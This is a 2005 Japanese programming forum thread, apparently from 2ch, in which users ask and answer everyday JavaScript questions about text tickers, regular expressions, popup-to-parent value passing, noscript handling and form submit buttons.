「テキストボックスに流れるメッセージの方向が、ボタンをクリックするたびに右から左、左から右と切り替わる」
というプログラムを組みたいのですが以下の様にかいたのですが

左から右に流れるプログラムは以下のプログラムです
<script language="JavaScript">
<!--
var len = 0;

function msgLine(){
var msg = " JavaScript";
if(len == msg.length){len = 0;}
len = len + 1;
document.msgFrm.msgTxt.value = msg.substring(40, len);
setTimeout("msgLine()", 200);
}
// -->
</script>
</head>

<body onLoad="msgLine()">

<FORM NAME="msgFrm">
<INPUT TYPE="text" NAME="msgTxt" SIZE=30>
</FORM>

上記のプログラムを元にボタンで、右から左、左から右と文字を流したいのですが
どう改造すればよろしいのでしょうか
過去ログにもそれらしき例を見つけられませんでした
よろしくお願いいたします


663 名前:Name_Not_Found 投稿日:2005/10/24(月) 18:25:31 ID:???
>「例外もある」という恐ろしい但し書きがついている
そういう仕事取る営業はボコってもいいのでは?
あとのデスマーチングをお楽しみに!!

>単一ディレクトリ内でhtmlファイルネームから場所を自動で割り出して
これがわからん。そのデレクトリのファイルネームわかってりゃ
そこにあるに決まっているのであって、
他に例えば同じモノの拡大画像などがあるのだろうか?それを追いたいのか?

そしてそれを>日本語にして返すということができるか?
意味不明。

「単一ディレクトリ内でhtmlファイルネームから」
日本語を作成して返す理解で返答していたのだが、違うの?



664 名前:Name_Not_Found 投稿日:2005/10/24(月) 18:27:24 ID:???
len-=1

665 名前:Name_Not_Found 投稿日:2005/10/24(月) 18:36:44 ID:???
何もjavascriptに執着するものではないといってみるテスツ

666 名前:Name_Not_Found 投稿日:2005/10/24(月) 18:55:48 ID:???
「単一ディレクトリ内でhtmlファイルネームから」 日本語を作成して返す

とりあえずこれで考えるぞ。
menu1file3.htmlなら
数字を区切りとして切り取ればいい。
filename.match(/([A-Za-z]+)(\d+)([A-Za-z]+)(\d+)[.]/);
var array=[RegExp.$1,RegExp.$2,RegExp.$3,RegExp.$4];
あとは>>652だ。条件の連想配列のキーと一致するかの検索だ。
for文とかで全検索かけてけ。条件が膨大なら
アルゴリズムの本立ち読みして良いものを使えばいい。

あと
menufile3.html
とか蟻売るのか?そうなると単語分けが一気にメンド臭くなるぞ。
もしあるんなら、せめてmenu_file3.htmlとかとしてもらえ。

667 名前:Name_Not_Found 投稿日:2005/10/24(月) 22:12:05 ID:???
>>663 >>666
どうもありがとうございます。

最初は「www.aaa.co.jp/a/b/c/d/e.html」でe.htmlを表示した際に
「いま観てるのはabcdです」と表示しろという話だったので
splitでフォルダ名切り取り&表示でできたんですが、
それを提出したらクライアントから「www.aaa.co.jp/aXcY.html」で
「いま観てるのはめにゅー1のぺーじ2です」と表示しろという
話になっていきました。
問題なのは、abcをメニューやらセクションやらに使用している一方で
X・Yを1・2としているため、ファイル名から自動取得する際
アルファベ/数字区切りでキチッと使い分けられないのです。

とりあえず「aXcY.html」で使えるようにしろという話なので
イレギュラーなものは当面は考えなくていいとのことですが
>menufile3.html
充分ありえます。どこのトーシローが作ったのか知りませんが、
クライアント側の許可さえもらえればファイル名を規則的に
全変更したいところです。

668 名前:Name_Not_Found 投稿日:2005/10/24(月) 22:37:06 ID:???
>>667
http://www.ietf.org/rfc/rfc2606.txt

669 名前:Name_Not_Found 投稿日:2005/10/25(火) 02:57:49 ID:???
667です。
(゚∀゚)アアアアアアアア!!
なんとか出来上がりました。
皆様のお力添えのおかげです。どうもありがとうございました!

670 名前:Name_Not_Found 投稿日:2005/10/25(火) 03:22:08 ID:???
つーか鯖で吐けばいいのに。と汚れ役でつぶやいてみるw

671 名前:Name_Not_Found 投稿日:2005/10/25(火) 06:38:14 ID:???
>>667
つ〜かさ〜、完全にデスマーチ化してるしw
見てると、君が直受けなのか下請けなのか知らんが
クライアント(?元請け?)も(いるか分からんが)営業ももちろんオマイもチンプンカンプンで
制作に入ってるのがすごいな。

>それを提出したらクライアントから「www.aaa.co.jp/aXcY.html」で
>「いま観てるのはめにゅー1のぺーじ2です」と表示しろという
>話になっていきました。
別料金もらえるんだろうなw。仕様が明らかに違うことをオマイも分かってないんで
主張できないから、所詮最初の仕事のやり直しとして扱ってる罠。



672 名前:Name_Not_Found 投稿日:2005/10/25(火) 06:45:02 ID:???
>>menufile3.html
>充分ありえます。
ハマッタな。「なんとか出来上がりました。」なんて嘘だね。
コード晒して見ろよw

大体menufile3.htmlからどういう基準でmenuとfileを抜き出すんだ?
しかももしユーザーがmenufile3.htmlという名前をつけて
マのオマイがこれはmenuのfile3だとよく断言できるな。
「meのnuのfile3のつもりなのに、menuのfile3と出てしまうよ。やり直せ」
といわれたらどうするんだ?
エスパーじゃないんだから、ユーザーがどういう命名規則で付けてるか分からんはず。
上の例が分かりにくいならregexp3が、regのexのp3なのかregexp3なのか
分からんはずだ。
それを
>>menufile3.html
>充分ありえます。
ならどういう規則で作るのですかwまさか単語はmenuとfileしか入らない
とか言い出さないだろうなw
これを解決するようなすごいコードをオマイが書けるとは思わない。
つ〜かこんな仕様で誰も書けないでしょ。
書ける勇姿ギボンヌ。

673 名前:Name_Not_Found 投稿日:2005/10/25(火) 07:00:27 ID:???
>>670
こいつは多分下請けで鯖関係の動きに関知できない罠。
>クライアント側の許可さえもらえればファイル名を規則的に
>全変更したいところです。

これで出来ないと責任の所在がオマイにくる悪寒。
「出来るといったじゃないか?うちはそれで動いてるんだ!」
「こうなったら、トラブル分は君のところで見てもらうからね」

早いとこドロンしとけw

674 名前:Name_Not_Found 投稿日:2005/10/25(火) 09:09:17 ID:???
すいません、質問させてください。
showmoreというscriptを使いたくて
いろいろ検索したのですが、イマイチよくわかりませんでした。
(文章が折りたたみ?出来るスクリプトです…)
scriptファイルは外部呼出し、ということで
どなたか、わかりやすく書いていただけると助かりますorz
よろしくお願いします。

675 名前:Name_Not_Found 投稿日:2005/10/25(火) 09:15:00 ID:???
>>674
その程度のことなら、自分で書いたほうがいいよ。
display:none;でググってごらん。

676 名前:Name_Not_Found 投稿日:2005/10/25(火) 10:07:57 ID:???
つか、ぐぐるなら、「エクスプローラー風」とかであるよ、それ。


677 名前:Name_Not_Found 投稿日:2005/10/25(火) 10:52:25 ID:???
>>674
http://pc8.2ch.net/test/read.cgi/hp/1099993040/

678 名前:Name_Not_Found 投稿日:2005/10/25(火) 10:54:39 ID:???
>>675,676
ググってみます。ありがとうございます。

>>677
スレ違いですみませんでしたorz

679 名前:Name_Not_Found 投稿日:2005/10/25(火) 14:52:14 ID:C07vENCj
プルダウンメニューで各ページにジャンプするという、ささやかなことをやろとしているのですが、
以下のようなスクリプトが、IEでは意図どおりに働いて、FireFoxで働いてくれないのはなぜなのでしょうか…。
過去スレ検索もしてみたものの、わからず…。すみません。
<script type="text/javascript"><!--
function jump(){
parent.contents.location=page.value;  //contets=コンテンツを表示させるフレーム名
}

-->
</script>

…省略…
<select name="page" size="1" onchange="jump()">
<option value="aaa.html">aaaに飛びます</option>
       …省略…
</select>

680 名前:Name_Not_Found 投稿日:2005/10/25(火) 14:56:52 ID:???
スクロールボタンに反応するイベントはどのように書けばよいのでしょうか?

681 名前:Name_Not_Found 投稿日:2005/10/25(火) 15:13:48 ID:qGi82OIq
質問です。
メーラーを作成しています。
親画面でアドレス帳を表示させる[to]ボタンを押下した際に
子画面でデータを取得しCを親画面のtoに渡せました。
window.opener.document.A.to.value=C;
しかし
親画面でアドレス帳を表示させる[cc]ボタンを押下した際に
上記と同じ子画面を呼び出し
その値を親画面のccに渡せず悩んでいます(toに入る)
子画面をもう一つ用意して
window.opener.document.A.cc.value=Cとすればccには入りますが
一つの子画面でする方法を模索しています
子画面で得た値を、呼び出している親画面に値を渡すには
どうしたら宜しいでしょうか?

長文すみません



682 名前:Name_Not_Found 投稿日:2005/10/25(火) 15:41:07 ID:???
>>681
子画面で「何を」したときに親画面の入力欄に値が入るの。
普通は「TOに入れる」「CCに入れる」というボタンを用意して
それぞれアンタが書いたどっちかの動作をonclickにつけると思うが。

それはさておき「子画面で得た値を、呼び出している親画面に値を渡す」
それはできているんだろ。何ができないか正確に書けないのなら向いてないよ。
>>679
アンタのIEのコードはIE固有に許される省略だらけなのでは。jump()の中を
次のように直すのがいいと思うけどね。
var sel = document.forms.フォーム名.elements.page;
parent.frames.contents.location.href = sel.options[sel.selectedIndex].value;
長くて面倒と思うかも知れないがこれくらいちゃんとしとけ。

683 名前:Name_Not_Found 投稿日:2005/10/25(火) 15:43:03 ID:???
>>680
... onscrollのことかな?何をどう調べてからその質問を
書き込んだのかちょっと説明してみない? 調べられない奴は帰れ。

684 名前:681 投稿日:2005/10/25(火) 15:48:52 ID:qGi82OIq
>682
言葉足らずで申し訳ありません
子画面は、いろいろな所から呼び出されるのですが
それぞれの呼び出し元に値を渡す事が出来ません。
どうやって呼び出し元を区別出来るのでしょうか?


685 名前:679 投稿日:2005/10/25(火) 15:53:04 ID:???
>>682
回答ありがとうございます。
ご教授のとおり直してみます。

686 名前:679 投稿日:2005/10/25(火) 16:35:10 ID:???
>>682
うーむ、直しても機能しませんでした。
調べた結果、そもそもメニューを選択しても、jump()が呼び出されていなことがわかりました。
なぜなのでしょうか…。

687 名前:679 投稿日:2005/10/25(火) 16:38:02 ID:???
↑あ、呼び出されていないというのはまちがいでした。
すみません。
なんとか自分で考えてみます。

688 名前:Name_Not_Found 投稿日:2005/10/25(火) 17:45:24 ID:???
文書内のすべてのttp://〜で始まるURLを
http://〜に書き換えて
<a href="http://〜">http://〜</a>
の形式に変換しようとしています。

ttp://からURLと思われる箇所まで抜き出す
という正規表現がわかりません。
ヒントください。


689 名前:Name_Not_Found 投稿日:2005/10/25(火) 17:51:13 ID:???
>>687
最小限のサンプル作って貼ってみ。エラー出てないだろうね?
エラー無視するヤシはプログラム完成させられないから。
>>688
URIには日本語入ってないという前提でいいの?そうなら
/http://[-a-zA-Z0-9/?&]+/
とかかな。適当だけど。
>>681
なるほど、じゃ親画面から子画面を呼び出す時に「?」の
後ろに部品名をくっつけて渡し、子画面側では
location.searchでその「?」以下を取って来て親画面の
どこに書くかをそれに応じて決めるっていうのはどう?

690 名前:Name_Not_Found 投稿日:2005/10/25(火) 18:05:02 ID:???
>>680
http://msdn.microsoft.com/workshop/author/dhtml/reference/events/onmousewheel.asp
http://xulplanet.com/references/elemref/ref_EventHandlers.html#attr_DOMMouseScroll

691 名前:688 投稿日:2005/10/25(火) 18:08:32 ID:???
>>689
レスありがとうございます。
こういったときの処理でいつもつまづくんですが、
ttp→httpに変換したあと検索するとhttpもttpとして検出してしまいませんか?
あ。文字列の先頭がhで始まらないttpを検索すればいいのか。

それと文書内の特定キーワードを一括ですべてreplaceする方法はありませんか?
いつもforでキーワードを検索して、
そのキーワードが見つからなくなるまで繰り返し処理しています。


692 名前:Name_Not_Found 投稿日:2005/10/25(火) 18:24:49 ID:???
>>686
JavaScriptコンソールは何も言っていない?

693 名前:Name_Not_Found 投稿日:2005/10/25(火) 18:29:33 ID:wl6/gI6B
NOSCRIPT要素内の文字列をjavascriptから取得したいのだけど、
Operaでできないのは仕様なのかな?(Win Opera8で試してる)
なんか空になっちゃうみたいなんだよね、
とりあえずWinIE6とMozillaだと、
レンダリングしないというだけで中身はちゃんと保持してるっぽいんだけど…
何かこれ系知ってる人居たらレス頼む!

694 名前:Name_Not_Found 投稿日:2005/10/25(火) 20:15:27 ID:???
>>691
こういうことをしたいの?
javascript:
(function () {
    var source = document.body.innerHTML;
    if (source.match(/[^h]ttp:\/\//)) document.body.innerHTML =
        source.replace(/(^|[^"'h])((?:htt|ttp):\/\/([-_0-9A-Za-z./+%#?&=~@:()]+))/g,
            '$1<a href="javascript:location.href=\'http://$3\'">$2</a>');
})();

695 名前:Name_Not_Found 投稿日:2005/10/25(火) 20:22:25 ID:???
>>693
noscript とかの仕様はかなりブラウザ依存だからなんともいえない気も。

例えば FireFox で
<style type="text/css">
noscript { display:block; }
</style>
<noscript><p>ほげ</p></noscript>
とやると、JS-on でも表示されちゃうくらいだし。

696 名前:688 投稿日:2005/10/25(火) 20:46:13 ID:???
>>694
あーすげぇまさにこれです。神!
ありがとうございます。

こういうの見ると圧倒的な力量の差を感じるんですが
ここで回答してる人ってそれなりにプロの人なんすか?
単に自分がショボいだけっすか?

697 名前:Name_Not_Found 投稿日:2005/10/25(火) 21:02:43 ID:???
質問です。
{}を省くとか三項演算子を使うとか
&&や||を使ってあったりとか、
こういう省略のテクニックについて説明したサイトってありますか?

698 名前:Name_Not_Found 投稿日:2005/10/25(火) 21:09:50 ID:???
>>667は夜逃げ中?

>>681は子画面はずっと表示されたままでポイントが親画面に言ってる状態?
それとも子画面は一旦消えてるの?

>子画面は、いろいろな所から呼び出されるのですが
の口調からすると1回消されてるっぽいね。

そしたら、別窓もう1度生成する時に、
デフォルト値設定の時ように値を設定すればいいのでは?
生成元の窓に全部必要な情報が保持できてないのなら
親から必要値を受けとってそれで設定すればいい。

>>694そうだね検索値直前の'h'を省かないといけないんだね。

699 名前:Name_Not_Found 投稿日:2005/10/25(火) 21:13:38 ID:???
>>697
目先のテクニックよりも思い通りに動くか、だ。
エラー処理を先にする、これだけで十分です。

700 名前:Name_Not_Found 投稿日:2005/10/25(火) 21:16:04 ID:???
>>697ググれと何度言ったら・・・・

701 名前:693 投稿日:2005/10/25(火) 21:17:57 ID:???
>>695
レスありがとう!
やっぱそうだよなぁ、HTMLの仕様書にもあんまりその辺どうするかは具体的に書いてないもんね。

window.onloadが呼ばれるまではhtmlのレンダリングを待たせておきたくて、
NOSCRIPT要素の中に書いといて後で拾おうとしたんだけど、
他に何か方法があるのかな?よければヒントください〜

702 名前:Name_Not_Found 投稿日:2005/10/25(火) 21:42:42 ID:???
>>701
普通に
<div class="noscript">JavaSscript実行待ち</div>
と書いといて
window.onload 時に document.getElementsByTagName('DIV') でループさせて className に noscipt のあるDIV要素を style.display = 'none' させればいいんでない?
解釈違うかねえ。

703 名前:Name_Not_Found 投稿日:2005/10/25(火) 21:44:48 ID:???
>>699
レスありがとうございます。

いえ、自分が使いたいからというよりも、
解読のために知りたいんです。

論理演算子の挙動なんかについても普通の解説サイトでは
いまいちちゃんと説明されてないみたいで。

704 名前:Name_Not_Found 投稿日:2005/10/25(火) 21:47:02 ID:???
>>696
ふつうのひとですよ。

ちなみに、document.body を一括書き換えしちゃうと考えると重いし結構不都合があるので、
自分のブックマークレットでは、全部の要素をループさせてそのテキストノードの値を拾って検索して書き換えてる。

705 名前:Name_Not_Found 投稿日:2005/10/25(火) 21:49:59 ID:???
>>693,703
document.getElementsByTagName('noscript') で拾えなければ仕様なんじゃね?
まあ operaタン は他にもいろいろ他のブラウザと違う挙動するし、あんま思い通りの動作をすることは信じてない。

706 名前:Name_Not_Found 投稿日:2005/10/25(火) 22:21:26 ID:???
>>697
テクより経験

707 名前:Name_Not_Found 投稿日:2005/10/25(火) 22:40:02 ID:???
>>701
レンダリング待たせるなら普通にdisplay:noneじゃ駄目なの?

708 名前:697,703 投稿日:2005/10/25(火) 22:54:13 ID:???
>>706
>>703で書きましたが、
自分が使いたいというよりも読解のためなんですが、
カンでやるしかないでしょうか。

709 名前:Name_Not_Found 投稿日:2005/10/25(火) 23:02:09 ID:???
>>708
論理演算子でも何でもそうなんだけど。

1. 勉強を欠かさず、知らないもの(例えば論理演算子)があったら、あったことを覚えておく。
2. 日々精進する。「もっとスマートに書けないかな?」と常に意識して。
3. 2の中で「こないだ見た論理演算子とやらは使えないかな?」と試行錯誤してみる。
4. うまくいっても駄目でも、自分の地肉になる。

の繰り返しで、がんがれ。
勘に頼るめくら撃ちは非効率的かつ不正確かもしれない。

710 名前:Name_Not_Found 投稿日:2005/10/25(火) 23:04:24 ID:???
あ、あと、論理演算子の使い方なんて、
情報処理という学問の初歩もいいところです。
丁寧に説明してくれているサイトがいっぱいあります。

上手な検索の仕方も勉強のうちですよん。

711 名前:Name_Not_Found 投稿日:2005/10/25(火) 23:05:11 ID:???
地肉じゃなくて、血肉だ。すまそすまそ。

712 名前:Name_Not_Found 投稿日:2005/10/25(火) 23:06:50 ID:???
じゃなくて皮肉だった・・・

713 名前:701 投稿日:2005/10/25(火) 23:07:53 ID:???
>>702
あ、惜しい!それの逆がやりたいんだわ。
読み込み中はdisplay:noneで、onload後にdisplay:block、的な。
だけどデフォのCSSでdisplay:noneとしとくと、JS切ってたら永遠に表示されないじゃん?
だからnoscriptに書いといて、JS-OFFの時は通常通り表示、
JS-ONの時は後でnoscriptの中身を拾って〜ごにょごにょ、なんて思ってたんだ。

Script-ONの場合とOFFの場合でCSSを分けられればいいと思って
<noscript><link rel="stylesheet"></noscript>
って形も考えたんだけど、head要素内にnoscriptって書けないんだよなぁ。
もうちょっとがんがってみるよ。

>>705
あんまり詳しく検証したわけじゃないけど、
noscriptのノード自体は残ってるっぽいんだけど
中身(innerHTMLとかchildNodesとかそれ系)が空になるみたい。
例えばdocument.getElementsByTagName('noscript').outerHTMLを見てもエラーにはならなくて、
「<NOSCRIPT></NOSCRIPT>」って返ってくる感じ。
operaも広告無くなってまたシェアちょっと増えそうだしなーマンドクセ

714 名前:701 投稿日:2005/10/25(火) 23:18:17 ID:???
>>707
ごめ、レス見逃してた;713で書いた通りなんだけど、
ただ単にレンダリング待ちならそれで全然いいんだけど、
JSがOFFの時は普通に表示させときたいって感じなんだ〜。
いろいろ難しいなぁ(´д`)

715 名前:Name_Not_Found 投稿日:2005/10/25(火) 23:20:42 ID:???
>>713
 > だけどデフォのCSSでdisplay:noneとしとくと、
 > JS切ってたら永遠に表示されないじゃん?
JS で その CSS を作る(書く)ようにすれば良いだけ。

716 名前:714 投稿日:2005/10/25(火) 23:28:31 ID:???
>>715
あ、それはある!なんでそんな簡単なこと思いつかなかったんだろう。
騒いで正直すまんかった!ありがとうー!

717 名前:697,703 投稿日:2005/10/25(火) 23:38:02 ID:???
>>709,710
それがですね。
例えば同じ解説サイトで、
Perlの項では何が真として扱われ何が偽として扱われるのか
きちんと書いてあるけれど、
JavaScriptの項では書いてなかったりするんですよ。

例えば
"こんばんは" && "こんにちは"
の結果がどうなるかにつながる事が書いてない。

まあこの例は試してみればわかるんですが、どっかにきちんと書いてないかなと。

718 名前:Name_Not_Found 投稿日:2005/10/25(火) 23:44:40 ID:???
>>717
何か勘違いしてないか?
スクリプト別の最低限の挙動が分かれば理解できると思うが。
ついでに、NULL値とか調べればちゃんとした解説サイトなら書いてあるよ。

719 名前:Name_Not_Found 投稿日:2005/10/25(火) 23:59:32 ID:???
オライリージャパンのJavascript読み漁ったほうが早いかも

720 名前:Name_Not_Found 投稿日:2005/10/26(水) 00:12:29 ID:???
>>717
だから「きちんと」ならECMA(言語仕様)を読めば一発じゃん、
なんでいまさらそんなことが分からないんだ? そもそも
このスレの>>1-6とか読んでないことが見え見えじゃん。

721 名前:Name_Not_Found 投稿日:2005/10/26(水) 00:17:12 ID:???
>>717
>"こんばんは" && "こんにちは"

これで"こんにちは"を返さない言語ってあるのか?
あと>>5にあったぞ

生成規則 LogicalANDExpression : LogicalANDExpression && BitwiseORExpression は、次のように評価される:

LogicalANDExpression を評価。
GetValue(Result(1)) を呼出す。
ToBoolean(Result(2)) を呼出す。
Result(3) が false ならば、 Result(2) を返す。
BitwiseORExpression を評価。
GetValue(Result(5)) を呼出す。
Result(6) を返す。


722 名前:697,703 投稿日:2005/10/26(水) 00:46:55 ID:???
「テンプレ嫁」で済む話だったんですね。基本的な事が抜けてました。
_| ̄|○
お騒がせしました。

これからttp://www2u.biglobe.ne.jp/~oz-07ams/prog/ecma262r3/を頑張って読みます。

723 名前:Name_Not_Found 投稿日:2005/10/26(水) 01:26:06 ID:???
>>721
CもC++もJavaも"こんにちは"は返さないんだけどね…
main() { printf("%08x\n", ("こんばんは" && "こんにちは")); }
を実行すると「00000001」つまりただの1になる。残念でした。
といってもこのスレでは他言語の知識がないのは別に非難される
ことではない(が、知らないわりにちょっと言い方が偉そうダ-タよね)。

724 名前:Name_Not_Found 投稿日:2005/10/26(水) 01:27:40 ID:xejXzv0e
複数のレイヤの中に、JavaScriptで読む用の属性(表示はしない)を
埋め込みたいと思っているのですがいい方法はないでしょうか?

<div id=hoge categoryId=1234></div>

この書き方だと、IEなら、categoryIdを正しく参照できましたが、
FireFoxではundefinedになりました。
汎用的な方法はないものでしょうか?

725 名前:Name_Not_Found 投稿日:2005/10/26(水) 01:37:42 ID:???
>>723
いかにも「ぬるぽ」と怒られそうなプログラムだが

726 名前:724 投稿日:2005/10/26(水) 02:13:35 ID:xejXzv0e
苦肉の策として
visibility:hiddenでposition:absoluteなレイヤを
属性保持用レイヤとして中に入れるという方法を考えましたが
こんなやり方をするしかないのでしょうか…?


727 名前:Name_Not_Found 投稿日:2005/10/26(水) 02:37:41 ID:???
>>724
引用符が無いので、XHTML ではない。だから、使えるのは class 属性に限られる。
  class="1234"
その要素の class 属性を CSS 用途に使っているなら、CSS の文法という足枷が加わって、
  class="foo bar categoryId1234"
みたいになる。


728 名前:724 投稿日:2005/10/26(水) 03:50:38 ID:???
>>727
なるほど!クラスですか
ありがとうございました。

729 名前:Name_Not_Found 投稿日:2005/10/26(水) 03:59:00 ID:Kvuj5BqK
サーバに、jsファイルとhtmlファイルをEUC-JPコードでアップロードしました。
htmlファイルから、以下のようにしてJavaScriptを呼び出しています。

<script type="text/javascript" src="test.js" charset="EUC-JP">

test.js内には、htmlファイルから文字列を送って表示する関数があり、
日本語もうまく表示できると思っていたのですが、「〜」という文字が化けます。

FirefoxではOKでしたが、IE6, Opera8ではNGです。
どのような原因なのでしょうか。
また、解決方法はあるのでしょうか。

730 名前:Name_Not_Found 投稿日:2005/10/26(水) 04:10:39 ID:???
再現する例は?

731 名前:729 投稿日:2005/10/26(水) 05:02:34 ID:???
>>730
htmlファイルと記載しておりましたが、実際はPHPでhtmlを出力しており、
レスするためのサンプルをhtmlに書き出して表示してみたところ、正常に表示されました。
どうやらPHPの内部文字コード等が関係しているようで、これからチェックしてみます。

すみません、今後はもっとよくテストしてから質問させて頂きます。

732 名前:Name_Not_Found 投稿日:2005/10/26(水) 11:30:28 ID:???
<INPUT type="submit" name="instantly" value="送信" onclick="return error_check(2)">

送信ボタンでこのようにJSにてエラーチェックをかませた後、送信する仕組みにして
いるのですが、例えばテキストボックス(<INPUT TYPE="TEXT">)内でエンターを
押すと、このエラーチェックが通らずに進んでしまいます。

ためしにGETで確認してみましたが、やはりinstantlyというパラメータは含まれて
おりませんでした。

FORMタグはBODYタグの直下で宣言、BODYタグ終了の前で同じく宣言終了して
いるので同じFORM内に入っていることは確かだとは思うのですが、原因がどうし
ても掴めません。

同フォーム内にあるチェックボックスにフォーカスを当ててエンターを押すとしっかりと
チェックが 入ります(confirmが出ます)。
プルダウンにフォーカスを当ててエンターですと無反応でした。

なぜonsubmitにしていないかと申し上げますと、submitボタンは2つございまして、

<INPUT type="submit" name="instantly" value="送信" onclick="return error_check(2)">
<INPUT type="submit" name="r" value="送信3" onclick="return error_check(3)">

このようにフォーム内に記述していることからあえてonclickにて処理しております。
参考にしていたNHKのサイトでもonclickにて制御ができているため、ということもございます。
ttps://cgi2.nhk.or.jp/eigyo/keiyaku.cgi?081

ご教示いただけますと大変助かります。

733 名前:Name_Not_Found 投稿日:2005/10/26(水) 11:32:27 ID:???
JavaScirptで
最後の文字を他の文字と交換したいのですが
どうすればいいですか?

734 名前:Name_Not_Found 投稿日:2005/10/26(水) 11:55:33 ID:???
>>733
日本語ができないのか。「どこの」最後の文字と「どこにある」
文字を交換するの?ある文字列の最後の文字と途中の文字を交換した
文字列を作るるという意味かね。だったら、substring()で
文字列のどの部分文字列でも取り出せるわけだから、まず
最後の文字とその手前の文字列に分け、次に交換したい文字
とその前の文字列とその後の文字列に分け、前の文字列→
最後の文字→後の文字列→交換した文字、の順に連結するんだろ。
誰だって考えれば分かりそうな手順だと思うがね。
>>732
formの提出をすべて捕捉するのならformタグのonsubmitハンドラ
でやれ。入力欄が1つだけのフォームは入力欄のENTERで送信が
起きるんだが…過去スレで出てた話題だけど探さなかったのかね。

735 名前:Name_Not_Found 投稿日:2005/10/26(水) 13:05:05 ID:dEkZvdjQ
IE6で
var lastDay = new Date(2004, 2, 0);
などと、第3引数をゼロにすると月の末日が返ってきますが
これって他のブラウザでも通用するのでしょうか?

736 名前:Name_Not_Found 投稿日:2005/10/26(水) 13:30:51 ID:???
>>735
する

「前の月の末日」な

737 名前:735 投稿日:2005/10/26(水) 13:34:22 ID:???
>>736
ありがとうございます。安心しました。

>「前の月の末日」な
? この場合は当月になる模様です。

738 名前:Name_Not_Found 投稿日:2005/10/26(水) 13:56:54 ID:???
>>737
> ? この場合は当月になる模様です。
違う。1月から12月なのか、0月から11月なのか、分かってないだけだろう。
js> new Date("2005/3/0") // 3月 0日
Mon Feb 28 2005 00:00:00 GMT+0900
js> new Date(2005, 2, 0) // 3月 0日
Mon Feb 28 2005 00:00:00 GMT+0900

739 名前:Name_Not_Found 投稿日:2005/10/26(水) 14:01:32 ID:JYGL+UMC
すいません。
いけないこと*かも*ですが、ティッカーのニュースをiFrameで受け取る
サービスをHPにつけることにしたのですが、いわば、ポストイットの左
端にある、なんちゃらタイトルが目障りなので本体だけ表示したイと思
っています。
何かよいアイディアはありませんか。コードは次のような感じです。

<iframe src="http://www.XXXXXX.html" width="520" height="20"
frameborder="0"><img src="http://www.ikkatsu.com/news/468_60.gif">
</iframe>

740 名前:Name_Not_Found 投稿日:2005/10/26(水) 14:02:16 ID:dEkZvdjQ
SELECTタグのOPTION要素をJavascript側から
選択できるような方法ってないでしょうか?
たとえばあるSELECTの3番目の要素を選択するのに
someSelect.options[2].selected = true;
としてもselectedが読み取り専用なのでエラーになってしまいます。

741 名前:739 投稿日:2005/10/26(水) 14:04:37 ID:JYGL+UMC
補足します。
タバコでいうと、フィルターの部分になんちゃらタイトルがあって、
葉っぱの詰まった本体だけを表示したいのです。

742 名前:735 投稿日:2005/10/26(水) 14:06:16 ID:???
>>738
Oh! 了解です。ありがとうございます。

743 名前:Name_Not_Found 投稿日:2005/10/26(水) 14:08:35 ID:???
>>740
someSelect.selectedIndex = 何番目;

ではだめかね?

744 名前:Name_Not_Found 投稿日:2005/10/26(水) 14:09:33 ID:???
>>739
そのサービスやってる所にお願いしなさいな。

745 名前:740 投稿日:2005/10/26(水) 14:11:48 ID:???
できました!
ありがとうございます。

746 名前:Name_Not_Found 投稿日:2005/10/26(水) 15:07:39 ID:???
>>739
iframeは、他のサイトを指定されたフレームにそのまんま表示する機能。
なんで画像と一緒で編集できないのは分かるだろ?

じゃあ、編集してなんとか自分のサイトに表示する方法はありますか?
とか聞かれそうだから釘を刺しとく。
>>3A1だ。何回もガイシュツなので、色々方法探して粘る奴の末路は
>>1の過去スレ全集で検索シル

どういうニュースサイトで、どこに貼ってあるタイトルが
いらんのか分からんのでなんともいえんが、
画像(と考えたとき)の切りぬきでうまくごまかせるような配置のものなら
可能性はある。
絶対値で位置を指定して、iframe内にうまくロゴが出ないようにすればいい。

背景色を変えたいのですが 
項目の順番を変えたいのですが
→このレスの2段目

747 名前:739 投稿日:2005/10/26(水) 17:03:54 ID:JYGL+UMC
>>746さん
ありがとうございました。ご親切感謝します。
がんばってみます。



748 名前:Name_Not_Found 投稿日:2005/10/26(水) 17:09:58 ID:???
そのニュースサイトの規約に反することはしないように。
そのような点が怪しい質問に自分が分かるからといって
喜々として答えないように。

749 名前:739 投稿日:2005/10/26(水) 17:36:55 ID:QO+DBnHm
そんなの当然でしょ。
規約に同意して設置しているわけですから。
タバコにたとえれば、フィルター部分を隠す
スクリプトを組むことを明示的に禁じていな
いからですよ。あたり前の話だ。

750 名前:Name_Not_Found 投稿日:2005/10/26(水) 17:53:30 ID:???
「いけないこと*かも*」というのはなんでよ。

751 名前:739 投稿日:2005/10/26(水) 19:58:21 ID:QO+DBnHm
>>750
ちょっと良心的にという意味で、さ。
法に触れなけりゃ何やってもいいのか、という議論もあるじゃないすか。

752 名前:Name_Not_Found 投稿日:2005/10/26(水) 20:42:38 ID:???
少なくとも739のサイトには行きたくないな

753 名前:Name_Not_Found 投稿日:2005/10/26(水) 21:00:39 ID:6NIVNOMe
formをonsubmtで制御しているのですが

<INPUT type="submit" name="a" value="送信">
<INPUT type="submit" name="b" value="送信">

の押されたボタンの判定をしたいと思っております。

しかしながらどちらのボタンを押しても
document.formname.a.value
document.formname.b.value
両方とも値が入っているみたいですので、何か他に判定の
仕方があればご教示いただければと質問させていただきました。

どうか宜しくお願いいたします。

754 名前:Name_Not_Found 投稿日:2005/10/26(水) 21:08:08 ID:???
>>753

そりゃあ・・・value="送信"としてる限り
document.formname.a.value= "送信";
document.formname.b.value= "送信";

でしょう

755 名前:Name_Not_Found 投稿日:2005/10/26(水) 21:14:27 ID:???
>>754
おっしゃるとおりです。
nameの存在チェックをしたいと思っているのですが(押下された
ボタンのnameが渡されると思いますので)、もしもやり方があれば
ご教示いただけますと幸いです。

756 名前:Name_Not_Found 投稿日:2005/10/26(水) 21:25:32 ID:???
>>755
押されたボタンを判定したいのならば
<INPUT type="submit" name="a" value="送信" onclick="receive('a')">

function receive(hoge) {
//起こしたいイベント
alert("ボタン"+hoge+"が押されました。");
}



757 名前:Name_Not_Found 投稿日:2005/10/26(水) 21:28:57 ID:???
ボタンの名前を変えたくないならvalueの片方をエンテェティ化しておく方法もあり。

758 名前:Name_Not_Found 投稿日:2005/10/26(水) 21:44:19 ID:???
>>756
<FORM action="a.cgi" method="POST" name="formname" onsubmit="return error_check()">
<INPUT type="submit" name="a" value="送信1">
<INPUT type="submit" name="b" value="送信2">
</FORM>

としているため、このerror_checkの中で処理をしたくこのような
質問をさせていただきました。
onclickを使うとfunctionが多重化してしまいそうですが、
何かスマートな方法があればご教示いただけますと幸いです。

>>757
すみません。知識不足なため、エンテェティ化というものが
わかりません。
これから調べてみます。有難うございます。

